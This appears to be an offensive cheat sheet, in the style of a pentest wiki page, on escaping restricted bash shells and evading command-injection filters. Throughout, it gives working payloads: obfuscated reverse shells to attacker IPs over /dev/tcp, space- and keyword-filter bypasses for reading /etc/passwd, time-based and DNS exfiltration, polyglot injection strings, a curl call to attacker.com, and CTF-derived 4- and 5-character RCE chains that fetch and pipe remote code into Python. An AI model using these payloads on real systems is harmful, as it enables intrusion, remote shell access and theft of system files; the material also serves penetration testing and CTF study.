## Common Limitations Bypasses
### Reverse Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
#echo\WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths and forbidden words
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes / Concatenation
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
\u\n\a\m\e \-\a # uname -a
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
/\b\i\n/////s\h
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash and slash
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass with hex encoding
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Time based data exfiltration
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### DNS data exfiltration
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
### Builtins
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin"; /bin/ls
export PATH="/bin"
declare PATH="/bin"
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Get env variables
declare
# Get history
history
declare history
declare historywords
```
### Polyglot command injection
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potential regexes
```bash
# A regex that only allow letters and numbers migth be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### RCE with 5 chars
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE with 4 chars
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Read-Only/Noexec Bypass
If you are inside a filesystem with the **read-only and noexec protections** there are still ways to **execute arbitrary binaries**. One of them is by the use of **DDexec**, yo can find an explanation of the technique in:
